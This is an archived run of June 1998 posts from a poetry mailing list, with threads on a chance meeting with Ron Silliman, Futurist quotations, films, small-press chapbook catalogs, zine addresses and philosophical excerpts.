Was thinking of "Lost Highway" because of its own flatttened female object of desire, the enigmatic Patricia Arquette character, which is certainly characteristic (though not necessarily *bad*) of surrealist lit and film (same as in Louis Bunuel's "that obscure object of desire"). In lockstep with a repetitious destiny, she was not the hero ever in the film--that was the Walter Mitty turned maudit fugitive in the Bill Pullman character. Maybe there was something there of the Freudian death wish on the part of the maudit (or maudit wannabe).

William
being repetitious

↑ Index

142. Pritchett,Patrick
Re: APOLOGIES TO RON SILLIMAN
Thu 4 Jun 1998

I am curious to know whether this conversation was conducted along the lines of the infamous "urinal law" referred to in one of Ron's poems - I forget which one - the law that states whenever possible, men will leave at least one empty urinal between themselves and their fellows. I'd never thought about this before reading that. Now, I can't think of anything but whenever I enter a public restroom.

And to think my professors tell me that poetry is dying out,
Patrick Pritchett

From: louis stroffolino
To: [redacted]
Subject: APOLOGIES TO RON SILLIMAN
Date: Thursday, June 04, 1998 1:44PM

So, last night, at St. Marks group reading church for anthologies I arrive early to assuage nervousness in drink and am standing at urinal stall talking

about the weather to a man in a green shirt who "looks familiar" but i can't place the context.... anyway, he stays for 90% of the reading, and then as he leaves I realize he looks like ROn Silliman. I ask Drew Gardiner. It was Ron Silliman. Thanks for coming Ron Silliman, and apologies.....chris

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143. R. Gancie
the naivete of speaking
Thu 4 Jun 1998

"The naivete of speaking about "objectivity" without ever considering subjectivity as experiencing, knowing, and actually concretely accomplishing, the naivete of the scientist of nature or of the world in general, who is blind to the fact that all the truths that he attains as objective truths and the objective world itself as the substratum of his formulae (the everyday world of experience as well as the higher-level conceptual world of knowledge) are his own life-construct developed within himself-this naivete is naturally no longer possible as soon as his life becomes the point of focus. And must this liberation not come to anyone who seriously immerses himself in the Treatise and, after unmasking Hume's naturalistic presuppositions, becomes conscious of the power of his motivations?"---from The Crisis of the European Sciences and Transcendental Phenomenology by Edmund Husserl---cp

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144. Michael Kelleher
a l y r i c m a i l e r 6
Thu 4 Jun 1998

<HTML>
Poets and Friends

<P>a l y r i c m a i l e r 6

<P>_Overture_

<P>by Stephen Mounkhall

<P>is up and running at

<P><A HREF="http://writing.upenn.edu/spc/alyric/index.html">http://writing.upenn.edu/spc/alyric</A><A HREF="http://writing.upenn.edu/spc/alyric/index.html"></A>

<P>Stephen Mounkhall's poems have appeared in No Roses Review, Mudfish, American Letters and Commentary et al. He lives in the Woodlawn section of the Bronx with his wife and son, and teaches in Scarsdale, NY.

<P>Upcoming: Sound File/Multi-Voice poems by Carie Tocci, a critical issue on Ben Friedlander, and more.</HTML>

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145. Marjorie Perloff
Re: Valentine de Saint-Point
Thu 4 Jun 1998

For Tom Beard and other interested parties:

Nancy Moore has done an interesting PhD thesis on Valentine. You can contact Nancy via Jerry Bruns (her husband, probably known to this list through his brilliant books, most recent one on Blanchot) at Notre Dame or on email <Gerald L. [redacted]>. Nancy did a lot of research in Europe and hopes to publish her book (Northwestern U PhD)--contact her thru Northwestern would also be possible.

xxx
Marjorie Perloff

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146. Tom Beard
Re: re : bombs opening like flowers
Thu 4 Jun 1998

> *my recollection is that the bombs*
> *opening like flowers was a paraphrase of a remark by one of the Italian*
> *futurists, not Gino Severini but the other one, maybe the one that had an*
> *affair with Mina Loy?*

Would that be Marinetti? Certainly sounds like the sort of thing he would say. I remember the line chiefly from a Clive James poem with the line "some blockhead said a bomb was like a flower".

Speaking of futurists, has anyone come across the work of Valentine de Saint-Point? I've just come across her "Futurist Manifesto of Lust", and alongside all the usual futurist war cries there are some gorgeous sentences, like "Lust is the expression of a being projected beyond itself. .. It is the panic shudder of a particle of the earth."

Tom Beard.

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147. **louis stroffolino**
Re: APOLOGIES TO RON SILLIMAN
Thu 4 Jun 1998

Yeah, I know that urinal law well.... (and now I'm digressing and thinking of the urinal 'interview' Hunter S. Thompson conducts with McGovern in "F and L on the Campaign Trail"---THAT, by the way, would have been the movie to make, not that other one....I guess one must settle with "bullworth")... but actually there are only two at "st. marx", but don't worry there's a big wall between them (and then 'one' thinks of Frost ....or Shakepeare, i think in TGV, says "I can see through you like water in a urinal"----------chris

On Thu, 4 Jun 1998, Pritchett,Patrick @Silverplume wrote:

> *I am curious to know whether this conversation was conducted along the lines of the infamous "urinal law" referred to in one of Ron's poems - I forget which one - the law that states whenever possible, men will leave at least one empty urinal between themselves and their fellows. I'd never thought about this before reading that. Now, I can't think of anything but whenever I enter a public restroom.*
>
> *And to think my professors tell me that poetry is dying out,*
> *Patrick Pritchett*
> ---
> *From: louis stroffolino*
> *To:* [redacted]
> *Subject: APOLOGIES TO RON SILLIMAN*
> *Date: Thursday, June 04, 1998 1:44PM*
>
> > *So, last night, at St. Marks group reading church for anthologies I arrive early to assuage nervousness in drink and am standing at urinal stall talking about the weather to a man in a green shirt who "looks familiar" but i can't place the context.... anyway, he stays for 90% of the reading, and then as he leaves I realize he looks like ROn Silliman. I ask Drew Gardiner. It was Ron Silliman. Thanks for coming Ron Silliman, and apologies.....chris*

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148. **joel lewis**
f.y.i. spice
Thu 4 Jun 1998

BANGKOK, June 4 (Reuters) - Fans of the Spice Girls need not despair over the departure of Ginger Spice.

The pop star, whose real name is Geri Halliwell, may have

quit Britain's famed all-girl quintet but she's still very much
with them in the Thai version -- a group of transsexuals known
here as the Spice Gays.

Akanit Ratanavich, or ``Pretty,'' mimics Ginger Spice in a
red wig, black hot pants and low-cut gown over a pair of
implanted breasts as the group lip-syncs Spice Girls' numbers at
a Bangkok theatre.

``Pop fans everywhere might be disappointed with Ginger's
decision to quit the group, but here this Ginger will be with
the show for good to make up for the loss of the real one,''
Pretty said after a recent show before a packed audience.

``Its very funny...to act as someone famous that you always
like to be,'' said the 24-year-old singer, who underwent a sex
change operation five years ago.

``It was sad news, but I knew that one day, they would come
to this point since they are so famous,'' Pretty added.

Among the group's renditions, ``Spice Up Your Life'' and
``Wannabe'' were the two Spice Girls numbers that drew the most
applause from a visibly spiced up audience.

``People always ask if we are really women. The answer is we
are better than men and we are humans of all seasons,'' said
Pretty.
^REUTERS@

↑ Index

149. **maz881**

Re: patterns of discovery [Cronenberg's "Scanners"]

Thu 4 Jun 1998

Ez Bob,

I liked your description of Crash a while back and thot it quite provoking. Tho I'm not sure I'm getting what you're talking about on this Scanner Dan thing.

L Bill

<<This reminds us of David Cronenberg's movie "Scanners" and what a leap of technological speculation, considering the currency of the setting wherein the story takes place, is represented in that particular depiction. Cronenberg claims immediacy. Does that frighten us ? Perhaps that is the thought that viewers of the film failed to think. What if that is us, today, right now, was unthinkable to them. It was too terrifying to contemplate. Similar to the momentary amnesia that the victims of most serious accidents experience, at the moment of impact and very often for a short while after that, the viewers of the film could not

think that thought superimposed upon their own day to day realities. However, in the future, we might easily predict that that is part of the day to day reality of everyperson.

M.

aka Bob Ezergailis>>

↑ Index

150. david bromige
re : re : apologies to Ron Silliman
Thu 4 Jun 1998

Chris Stroffolino recalls Shakespeare's "I can see through you like water in a urinal" (which, presumably.could mean "very little", or "not at all"?) Following this thread (though not suggesting this is synonymous) I recall Robin Blaser's "poets are the deodorant-pucks in the urinal of life." (In _Syntax_, I think).

At least one famous literary friendship was struck up in this way--but which, I am not recalling. Anyone?

It's fitting that Ron's down-to-earth no-subjects-excluded poetry should be the occasion of this thread. The more I read him, and the longer I have to think about him, the greater my amazement that we should have such a poet, large of heart and of mind (as I once wrote, in a bleak mood ("and ends") I guess, "American poetry starts with Whitman and ends with Silliman"), dwelling among us today, a MacArthurian genius if ever there was one.

Now George will nominate him for the Nobull Piss Prize.

David

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151. Henry Gould
Urinal Rationale
Thu 4 Jun 1998

Why the Urinal Law:
from TROILUS & CRESSIDA, Act II:
(scene: in the john)
Ajax: Thersites -
Ther: Agamemnon - how if he had boils - full, all over, generally?
Ajax: Thersites -
Ther: And those boils did run? - Say so - did not the general run then? were not that a botchy core?
Ajax: Dog -

Ther: Then would come some matter from him; I see none now.
Ajax: Thou bitch-wolf's son, canst thou not hear? Feel, then. [strikes him]
Ther: The plague of Greece upon thee, thou mongrel beef-witted lord!
Ajax: Speak then, thou vinewedst leaven, speak: I will beat thee into handsomeness.
Ther: I shall sooner rail thee into wit than holiness; but I think a horse will sooner con an oration than thou learn a prayer without a book. Thou canst stri ke, canst thou? a red murrain o' thy jade's tricks!
Ajax: Toadstool, learn me the proclamation.
Ther: Dos thou think I have no sense, thou strikest me thus?
Ajax: The proclamation -
Ther: Thou art proclaimed a fool, I think.
Ajax: Do not, porcupine, do not; my fingers itch.
Ther: I would thou didst itch from head to foot, and I had the scratching of thee; I would make thee the loathsomest scab in Greece.
[Ther. & Ajax flush; draw poignards; die; exeunt]
END OF ACT II

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152. Ralph Wessman

fr17

Thu 4 Jun 1998

David - nothing to do with moose antlers or heroine worship, but.... Some months ago Rachel suggested that anything you came up with on 'political romanticism' would be definitely worth sharing, so I hope it's cool to post your two or three hundred words. I'm adding a plug for the magazine too, which went to the printer yesterday.

Best,

Ralph Wessman

POLITICAL ROMANTICISM, 1. Dying for truth and justice on the barricades. Been done. And now they have better weaponry. Avoid if at all possible.

POLITICAL ROMANTICISM, 2. Deliberately falling in love with the Chair (M or F) of your Department in the hope of securing unfair advancement. Often been done. Recommended, although "it would be wrong." Caveat: it may not be reciprocated. Suggest all overtures be explicable as something else entirely should one's suit fail to impress.

POLITICAL ROMANTICISM, 3. Teaching the works of the Lake Poets in such wise as to foster revolutionary fervor among the young. "A slumber did my spirit seal" : Wake up! Caveat : a new President will be brought in to your

college with secret instructions to get people like you (the public instructions : "Pursue excellence.")

POLITICAL ROMANTICISM, 4. v Ecological, environmental, "green." Belief in the living interconnectedness of all things and creatures, and that the planet must be defended against giant corporations. Frequent references to "my acid trip," as in "It was on my fourth acid trip that I realized the interconnectedness of all things and creatures, when I wept for my lost soccer boots." And again, "If I hadn't dropped acid, I might not be here in this small boat about to be run down by this Russian whaler." The editors of this encyclopedia encourage type 4 Political Romanticism and therefore have nothing cynical to say about it. Something must be left for the next generation.

famous reporter # 17

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one hundred word poetry & prose segment
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Famous Reporter is a literary biannual, available for $8 within Australia (Aus$10 to NZ, Aus$12 elsewhere) from Walleah Press, PO Box 368, North Hobart, Tasmania 7002, Australia. Unsolicited material is welcome, a small payment is offered for material (ie haiku $3, poems $10).

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153. charles alexander
Re: re : re : apologies to Ron Silliman
Thu 4 Jun 1998

> *guess, "American poetry starts with Whitman and ends with Silliman"), dwelling among us today, a MacArthurian genius if ever there was one.*

I knew MacArthur (and I've known one writer who received one), and I'd much rather read Silliman, and spend time with him, too. Yes, I'm with Bromige there. A good place to be.

charles

charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
NOTE NEW URL FOR CHAX PRESS http://alexwritdespub.com/chax

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154. William Marsh
Re: vintage fin-de-siecle cheesecloth
Thu 4 Jun 1998

At 06:20 PM 6/3/98 -0700, Karen Kelley wrote:
There is a repeated image of the

>protagonist's father writing calligraphic messages on her face as a birthday
>ritual. She goes on to search for someone to write on/be written on by
her. I am
>usually annoyed by repetition, and was slightly irritated with it at
first, but by
>3/4s of the way through was waiting to see this scene again, in its
variety of
>playings-out with various lovers/acquaintances. She even tried writing on
herself.
>And the physical beauty of the calligraphic process makes you want to
throw away
>your keyboard & write with big fat brushes on textured surfaces.
>

so you've been feeling that urge too, eh? / this scene from "Pillow Book" reminds me of the one in "Liar Liar" in which Jim Carrey's character struggles to prevent his own hand from writing "liar" in blue marker all over his face -- to no avail / strikes a nerve with other writer folk?

bill

- -
William Marsh | PaperBrainPress
http://bmarsh.dtai.com
- -

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155. **MAYHEW**
Marinetti
Thu 4 Jun 1998

A similar quote to the "bombs like flowers" is this passage from Marinetti. This is from Perloff's _The Futurist Moment_ p. 30. She is quoting Walter Benjamin quoting Marinetti:

"War is beautiful because it initiates the dreamt-of metalization of the human body. War is beautiful because it enriches a flowering meadow with the fiery orchids of machine guns." etcetera

One of Pessoa's heteronyms has a great poem called "Marinetti, academico," which protests the fact that the once avant-garde poet is now inducted into the academy. The title says it all.

I don't have anything witty to add about the urinals, unfortunately.

Jonathan Mxyhxw

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156. Susan Schultz
Re: re : re : apologies to Ron Silliman
Thu 4 Jun 1998

The phonographs of hades in the brain
Are tunnels that re-wind themselves, and love
A burnt match skating in a urinal--
Somewhere above Fourteenth TAKE THE EXPRESS
To brush some new presentiment of pain--

Hart Crane, "The Tunnel," _The Bridge_

_____

Susan M. Schultz
Dept. of English
1733 Donaghho Road
University of Hawai'i-Manoa
Honolulu, HI 96822

http://writing.upenn.edu/epc/authors/schultz
http://writing.upenn.edu/epc/ezines/tinfish

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157. Karen Kelley
Re: vintage fin-de-siecle cheesecloth
Thu 4 Jun 1998

After you see it, post your thoughts. I know it's an older film, but I'm still all excited about seeing it & want to talk about it.

William Burmeister Prod wrote:

> *I've heard nothing but good about this*
> *film on this list. I need to get off my ass and see "Pillow Book" for myself.*

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158. Safdie Joseph
Re: Quid Pro Quo Vadis
Thu 4 Jun 1998

All right, gentlemen (and lady), let's get our minds out of the urinals! Serious poetics-type disquistion to follow . . .

Peter Balestrieri, whom I thank for his careful and measured post, says he doesn't

> agree with the way the work was described on the List or on the
> book's back cover.
>
But if this is a discussion merely about the truthfulness of BLURBS, everyone whom Robert Creeley (in his infinite generosity) has ever said a kind word about would have some explaining to do! (That would include most of the people on this List, wouldn't it?) I don't, by the way, think the blurbs on this back cover are any more hyperbolic than others I've seen, but that's not the point. There MIGHT be a point, though, when he says

> Her work was
> described as "savage." This made me curious and I decided to read
> some
> of her work. I wanted especially to see what "rant" and "savage"
> meant
> to other people/poets. . . . Do you agree with Marjorie Perloff's
> blurb (and
> the Olson review posted by Mark Weiss) that the work is "savage"?
> I
> find the word "savage" problematic for its ethnographic
> invocation of
> the primitive as I do your use of the phrase "poetic excellence"
> for
> its pretensions to universality. Ultimately, all these
> considerations
> amount to matters of taste.
>
First, here's what Marjorie said --"In its uncompromising savagery, its passionate rejection of sentimentality, Rochelle Owens' lyric voice is unique among contemporary poets." I read that as saying "WHEN the work is savage . . . it's unique" -- I'm not so sure about that (and neither is Anne Waldman) -- but I value other, quieter pieces in the volume more, which is why I questioned "wildness" being somehow necessary. Yet, even a cursory look at the poems included from "Elga's Incantation" (1962), "Salt & Core" (1968), "I Am the Babe of Joseph Stalin's Daughter" (1972) and "The Joe 82 Creation Poems" (1974) in this volume reveals that the voices in them are the opposite of calm, everyday language -- they jump, they're excited, shamanic, violent, enthused, other-worldly, "in tongues" -- in a word, they're "savage". (Olson's review does other things besides calling the work "savage" -- for

example, describes its linguistic elements -- and I have no quarrels with it, it seems accurate to me.)

Mark Weiss has posted rather eloquently earlier today about the possible neo-colonialist connotations of the word, and I bow to his considerations -- (Mark, were the paintings you mentioned the subject of the late Orson Welles movie called "Fraud"?) -- but the last lines from your post above are also interesting to me. I've been . . . dissatisfied . . . lately with the expression "it's all a matter of taste," because it seems merely a way to end discussion about matters one doesn't want to consider anymore -- in the worst case scenario (which I'm NOT accusing you of), it means "we can't talk about this, because my taste is obviously better and more advanced than yours." So I ask you -- is the phrase "poetic excellence" really a "pretension to universality"? Indeed, "excellence is sparse" -- but are you suspicious of the very IDEA of excellence? -- must we "deconstruct" it? -- some criticize Ezra Pound for believing in the "great man" theory of history -- others, I think, criticize the CONCEPT of "greatness" itself -- Is that what you're doing? Can there be no more "great poets"? Are writers who aspire to "greatness" barking, as it were, up the wrong post-modern tree? I hope not. WCW said early on that he could see nothing to aim for except greatness, which has always stayed with me, even though I'm never going to make it; I've been fortunate enough to have known several great poets, and they've enriched my life, and I say that completely without embarrassment.

> Criticizing Owens was not the point of my post; it was to draw
> attention to the fact that there are consistent postings to the
> List
> that seem very provincial considering the avowed purpose of the
> List.
>

Peter Balestrieri, meet Mark Prejsnar! But really, I understand that you weren't criticizing Owens and am glad that you appreciate her work, as I do more and more the more I read it. Check out, for example, "Devils Clowns & Women" near the end of the volume (a Mark Weiss recommendation) which seems to me one of the finer love poems in the language, reminding me of "Asphodel" and a great poem by Muriel Rukeyser which has the repeated refrain "yes, my love, we are looking at each other" (title, anyone?) Un-sentimental love is . . . excellent!

It was nice to meet you this way, Peter, and I look forward to more dialogue. And now . . . back to the urinals!

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159. Rachel Loden
apologies to Ron Silliman
Thu 4 Jun 1998

Suppository understood as a term of rhetoric. Early morning, cheap ballpoint pen falls into a urinal in the fourth-floor men's room who knows how? never to be removed, to become a target, moved willfully by streams of urine, pushed counter clockwise around the white who knows what it is made of? urinal cake. Returning in the rain from the old brick bank to the car, I realize that I forgot to feed the meter, had scurried right past it in my hurry to stay dry, only to have gotten by without a ticket, little gift of fate. Kitaj's eyes.

--Ron Silliman, from _You_ (a part of _The Alphabet_)

Susan Schultz wrote:
>
> The phonographs of hades in the brain
> Are tunnels that re-wind themselves, and love
> A burnt match skating in a urinal--
> Somewhere above Fourteenth TAKE THE EXPRESS
> To brush some new presentiment of pain--
>
> Hart Crane, "The Tunnel," _The Bridge_
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> University of Hawai'i-Manoa
> Honolulu, HI 96822
>
> http://writing.upenn.edu/epc/authors/schultz
> http://writing.upenn.edu/epc/ezines/tinfish

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160. Otis Rush
Otis Rush site difficulties
Fri 5 Jun 1998

Some people on the poetcs list have indicated that they're having trouble getting at the Otis Rush magazine web site. The same address seems to be working ok for some people but not all. The solution is to go via the address of the Experimental Art Foundation's site (on which Otis Rush piggy-backs) - viz:

http://www.eaf.asn.au

Tou'll find lots of interest there, along with Otish Rush magazine.

Cheers
Ken Bolton

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161. Mark Salerno
Re: help
Fri 5 Jun 1998

Try Franklin at :

Franklin Bruno
Box 36M65
Los Angeles, CA 90036

J. Kuszai wrote:
>
> I'm trying to reach Herb Levy. Herb: are you still out there?
>
> Also, I'm trying to reach Franklin Bruno, who seems to have gone off list.
> Does anyone know how to reach him?
>
> thanks-

↑ Index

162. George Bowering
Re: re : re : apologies to Ron Silliman
Fri 5 Jun 1998

> *guess, "American poetry starts with Whitman and ends with Silliman"),*
> *dwelling among us today, a MacArthurian genius if ever there was one.*
>
> *I knew MacArthur (and I've known one writer who received one), and I'd much rather read Silliman, and spend time with him, too. Yes, I'm with Bromige there. A good place to be.*
>
> *charles*

I didnt know MacArthur, but I played poker with Eisenhower. and I can tell you that I would rather play cards with Silliman. Sucker always draws to an inside straight.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

163. Marcella Durand
Poetry Project web site
Fri 5 Jun 1998

Check out the new selection of "Poets & Poems" on the Poetry Project's web site: www.poetryproject.com

Featuring:

Rosa Alcala
Joe Elliot
Alice Notley
Eleni Sikelianos

E-mail is [redacted]

↑ Index

164. Tom Orange
Objects and Torque (not physics) query
Fri 5 Jun 1998

On Thu, 4 Jun 1998, Chris Alexander writes:

> *anyone out there have info on the east-coast zines:*
>
> *- Objects (Robert Fitterman?)*
> *- Torque (??)*

Torque
P.O. Box 657, Station P
Toronto, Ontario M5S 2Y4
[redacted]

edited by darren wershler-henry. typically in the 8-1/2 x 11 vertically- folded, saddle-stapled format, printed on paper whose color could perhaps be described as angry red. i have the january 1988 in front of me. works by damian lopes, tom raworth, gary barwin, christian bok, michael basinski, lucas mulder,

alana wilcox, daniel f bradley, and scott pound. epigraph from robert smithson, excellent editorial opening with the words "fuck entropy."

hope this helps,
t.

↑ Index

165. J. Kuszai
Meow Press Summer98 series Catalog (draft2)
Fri 5 Jun 1998

> Meow Press
> Summer98 series
>
> Catalog

Publisher of chapbooks of poetry and unfettered prose since August of 1993, Meow Press announces its Summer98 list and encourages libraries and subscribers to and pre-order forthcoming titles from the publisher to assist the financing of the series.

This publication season will see the publication of the 50th chapbook by Meow Press.

Many friends of Meow Press have volunteered to help with the assembly of the books in the series. Please help support this project. Order the books individually as they appear, or as a set. Contribute money, materials, or time. This project will not work without help.

Summer98 series:

Now Available: (on June 10, 1998; this text is from a mailer that has yet to go out)

Charles Alexander [MP44]
Four Ninety-Eight to Seven poetry $6

Daniel Kanyandekwe [MP45]
One Plus One Is Three At Least fiction $6

Andrew Levy [MP46]
Elephant Surveillance to Thought poetry $6

Denise Newman [MP47]
Of Later Things Yet to Happen poetry $6

Susan Schultz [MP48]
Addenda poetry $6

Coming Soon (July 1998)

David Carl
The Library prose $6

Don Cheney
Catullus trans. $6

Adrian Clarke
Just Deserts poetry $6

Dan Farrell
(Untitled Epic Poem on the History of Industrialization by Buckminster Fuller pp. 1-50) Grid. poetry $6

Heather Fuller
Madonna Fatigue poetry $6

Peter Jaeger
Leasing Glass poetry $5

Paul Long
Saccades poetry $6

Noemie Maxwell
Thrum poetry $6

Ted Pearson
The Devil's Aria poetry $6

Stephen Ratcliffe
Signature poetry $6

Liz Waldner
Bus Stop poetry $6

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Robert Creeley, The Dogs of Auckland [MP35 $4]
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Robert Duncan, Copy Book Entries [MP28 $10]
Deanna Ferguson, Rough Bush [MP25 $6]
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Graham Foust, 3 from Scissors [MP43 $5]
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Peter Gizzi, New Picnic Time [MP16 $5]
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Kevin Killian, Argento Series [MP41 $6]
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Wendy Kramer, Patinas [MP23 $5]
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Jena Osman, Jury [MP30 $5]
Meredith Quartermain, Terms of Sale [MP34 $6]
Lisa Robertson, The Descent [MP33 $5]
Elizabeth Robinson, Iemanje [MP4 $5]
Lisa Samuels, Letters [MP31 $6]
Leslie Scalapino, The Line [MP6 $5]
James Sherry, 4 For [MP20 $6]
Aaron Shurin, Codex [MP38 $10]
Kenneth Sherwood, That Risk [MP36 $5]
Ron Silliman, Xing [MP22 $6]
Juliana Spahr, Testimony [MP17 $6]
Gary Sullivan, Dead Man [MP21 $6]
Misko Suvakovic, Pas Tout [MP11 $5]
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$100

Meow50 box-set the first 50 MP books in a personalized painted box-set. Includes all non-catalog ephemera items still available, coupons for readings and books, plus "influence cards." Approx. 70 books total. Limited $300

to order, or for more information, contact:

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PO Box 527
Buffalo, NY 14226-0527
[redacted]
http://writing.upenn.edu/epc/presses

single copies & the trade:

Small Press Distribution:
1341 Seventh Street, Berkeley, CA 94710
phone [redacted] fax [redacted]
[redacted]
http://www.spdbooks.org

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166. J. Kuszai
help
Fri 5 Jun 1998

I'm trying to reach Herb Levy. Herb: are you still out there?

Also, I'm trying to reach Franklin Bruno, who seems to have gone off list. Does anyone know how to reach him?

thanks-

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167. William Burmeister Prod
Re: vintage fin-de-siecle cheesecloth
Fri 5 Jun 1998

On Jun 4, 5:38pm, Karen Kelley wrote:
> Subject: Re: vintage fin-de-siecle cheesecloth
> After you see it, post your thoughts. I know it's an older film, but I'm still all
> excited about seeing it & want to talk about it.
>
> William Burmeister Prod wrote:
>
> > I've heard nothing but good about this

> > film on this list. I need to get off my ass and see "Pillow Book" for myself.
>-- End of excerpt from Karen Kelley

You're on! I will. Hope this is still able for rent.

William

↑ Index

168. Jordan Davis
TORQUE / OBJECT
Fri 5 Jun 1998

---

from The Dictionary of Rec'd Ideas, ILS Numero Dos

OBJECTIVISTS Morally righteous and technically rigorous. Second generation immigrants. Unpopular Leftists. Their movement was called off on account of the Depression.

TORQUE Use this word to describe what you think you are doing to the language/syntax/meaning.

Object and Torque produced a double/collaborative issue this winter, and it's very recommended.

Torque
c/o Elizabeth Fodaski
21 E 2nd St Apt 14
New York NY 10003

Object
c/o Robert Fitterman
7-13 Washington Square North #47B
New York NY 10003

good to hear about another Torque in Canada --
Jordan

↑ Index

169. Christopher W. Alexander
nominative press collective announces...
Fri 5 Jun 1998

---

nominative press collective announces...

The Right Blonde / Mark E. Peters

14 printed pp. of down-home fun from the creators of Slinky (TM); saddle-stapled; nifty cover designed by yours truly. "A comedic romp - unparalleled" - Janet Maslin, NY Times film critic / "Scared the bejesus out of me" - Charles Ruff (White House counsel) / "We'll be looking into this" - Kenneth Starr

get yours free with your donation of $5** to:

nominative press collective
PO Box 522402
Salt Lake City UT 84152-2402

**libraries and institutions: $8

checks payable to Christopher W. Alexander
(or any reasonable variant thereof).

offer prohibited where local laws apply.

---

for him>>

...
Strike him
Wait for him to end
Dismiss his offer
Threaten to bring down his shaky coalition
Control him
Tamper with his monitoring equipment
Inspect him
Avoid him
Carry his body to its final resting place
Retire him
Stop him
Raise a bit of a ruckus...

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted] snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/ **site temporarily unavailable**

↑ Index

170. **Safdie Joseph**

Re: TORQUE / OBJECT

Fri 5 Jun 1998

Re Jordan's "appropriation" here -- does anyone know what BECAME of ILS after its esteemed editors moved to Paris? Has it in fact continued? Seems like there were a few issues left on my subscription . . . it was a great idea and format, and I hope it continues somehow . . .

> *----------*
> *From: Jordan Davis[SMTP:[redacted]]*
> *Sent: Friday, June 05, 1998 8:52 AM*
> *To: [redacted]*
> *Subject: TORQUE / OBJECT*
>
> *from The Dictionary of Rec'd Ideas, ILS Numero Dos*
>
> *OBJECTIVISTS Morally righteous and technically rigorous. Second generation immigrants. Unpopular Leftists. Their movement was called off*
> *on account of the Depression.*
>
> *TORQUE Use this word to describe what you think you are doing to the language/syntax/meaning.*
>
> *Object and Torque produced a double/collaborative issue this winter, and*
> *it's very recommended.*
>
> *Torque*
> *c/o Elizabeth Fodaski*
> *21 E 2nd St Apt 14*
> *New York NY 10003*
>
> *Object*
> *c/o Robert Fitterman*
> *7-13 Washington Square North #47B*
> *New York NY 10003*
>
> *good to hear about another Torque in Canada --*
> *Jordan*

↑ Index

171. Anthony Lawrence
Kooser's Email
Fri 5 Jun 1998

Could someone please let me know the email address for Ted Kooser?

Thanks

Anthony Lawrence

.....
Anthony Lawrence
PO Box 75
Sandy Bay
Tasmania 7006

↑ Index

172. R. Gancie
I found the mass! It was in my neutrinos the whole time!!
Fri 5 Jun 1998

"Let us accept the viewpoint, the chief progenitor of which is probably Hume, that there are just three modes of discourse: discourse about the empirical world (positive discourse), discourse about what is logically necessary (roughly the same as pure mathematics), and ethical and aesthetic discourse (discourse which makes value judgements). The first two discuss what is, the last discusses what ought to be; but from what is, with no assumptions about what ought to be, we cannot derive any propositions about what ought to be; and from what ought to be we can conclude nothing about what is. The third mode is therefore to be distinguished from the first two. BUT THE FIRST TWO MUST ALSO BE DISTINGUISHED FROM EACH OTHER; for no purely logical truth can tell us anything about the real world, nor can empirical facts yield logical truths. The three modes of discourse are therefore closed off from each other. Of the three modes of discourse,science rejects the third entirely. It is not concerned with value judgements. It uses the second (logic) but only as a tool. Essentially it is concerned with the real world, although to discuss the real world IT USES LOGIC IN ORDER TO DEDUCE ONE EMPIRICAL STATEMENT FROM ANOTHER."---from Paradoxes of Rationality: Theory of Metagames and Political Behavior by Nigel Howard --- "Classification is a condition for cognition and not cognition itself; cognition in turn dispels classification."---from Dialectic of Enlightenment by Max Horkheimer and Theodor Adorno --- "'Tis usual with mathematicians, to pretend, that those ideas, which are their objects, are of so refined and spiritual a nature, that they fall not under the conception of fancy, but must be comprehended by a pure and intellectual view, of which the superior

faculties of the soul are alone capable....'Tis easy to see why philosophers are so fond of this notion of some spiritual and refined perceptions; since by that means they cover up many of their absurdities, and may refuse to submit to the decisions of clear ideas, by appealing to such as are obscure and uncertain. But to destroy this artifice, we need but reflect on that principle so oft insisted on, that all ideas are copied from our impressions. For from thence we may immediately conclude, that since all impressions are clear and precise, the ideas, which are copy'd from them must be of the same nature, and can never, but from our fault, contain any thing so dark and intricate.... Reason is the discovery of truth and falsehood. Truth or falsehood consists in an agreement or disagreement either to the real relations of ideas, or to real existence and matter of fact. Whatever, therefore, is not susceptible of this agreement or disagreement, is incapable of being true or false, and can never be an object of our reason."---from A Treatise of Human Nature by David Hume --- "...[T]he fact that it can be described by Newtonian mechanics tells us nothing about the world; but this tells us something, namely, that the world can be descibed in that particular way in which as a matter of fact it is described."---from Tractatus Logico-Philosophicus by Ludwig Wittgenstein --- TELLER SAID, "MISS ULAM, HOLD MY CALLS; GOD IS COMING TO HEFT MY BALLS."---cp

↑ Index

173. **morpheal**

Re: the analysis: [Bill's Sonnet and Our Interpretations of It]

Fri 5 Jun 1998

> *Creepy, here, that the myth of a perfect, a transparent history - which would presume to restore what has been thought, to locate a "genesis" and "play it back" as if on a tape recorder - is championed via a technology fetish and general mathesis of the real. Creepy, that this presumes to make the "artifact" eternal; as if a poem remains the same from one reading to the next.*

Eventually the problem of interpretation is overcome. Not immediately, but eventually.

We know that the Field Marshall spilled hot porridge onto his uniform in the morning and ordered an immediate attack against the opponent in a conflict. History never mentionned the porridge before and historians had dozens of theories why the attack was suddenly ordered to commence. Now we know.

We have to realize that the quantum histories are incredibly vast. The virtual data traces as to past events make the entire universe equivalent to being a vast computer "hard drive". We simply have to learn to access and decode the information that is stored in connection with that manifested vehicle. The data is virtual (using the physics definition of virtual) and the storage medium, by

analogy, is the material stuff (organic and inorganic taken as a whole) that traditional empiricism is somewhat familiar with. The data, being virtual, is at mathematical "infinity", and therefore it can be accessed at a remote distance super-luminally in what is effectively zero elapsed time. The only time requirement then is the time for the technology that is accessing and interpreting to do that portion of its work that remains subluminal (non virtual).

The practical difficulty of having all the relevant virtual data, at hand, becomes the barrier to a purely empirical understanding of history. We fill the gaps in our empirical understanding with interpretation. Interpretation arises from ignorance of precisely observed causalities, or histories of causalities. Interpretation fills in the gaps, based on logical functions such as conjecture, assumption, expert opinion, etc. It is therefore a weakness, as far as empiricism is concerned and is not in fact a higher function. It is simply the failure to have sufficient data at hand so as to "know" with certainty.

Interpretation is largely creative. It adds something to what is there. It is not to be found in the thing itself, or the events themselves. When we phenomenologically bracket out any interpretations, so as to arrive at the thing in itself, or quantum histories in themselves, we arrrive at a purely precise and empirical knowledge. Filling in gaps in knowledge, using traditionally accepted logical and intuitive methods, leads to probabilities as to errors. There are no theories then as to what happened.

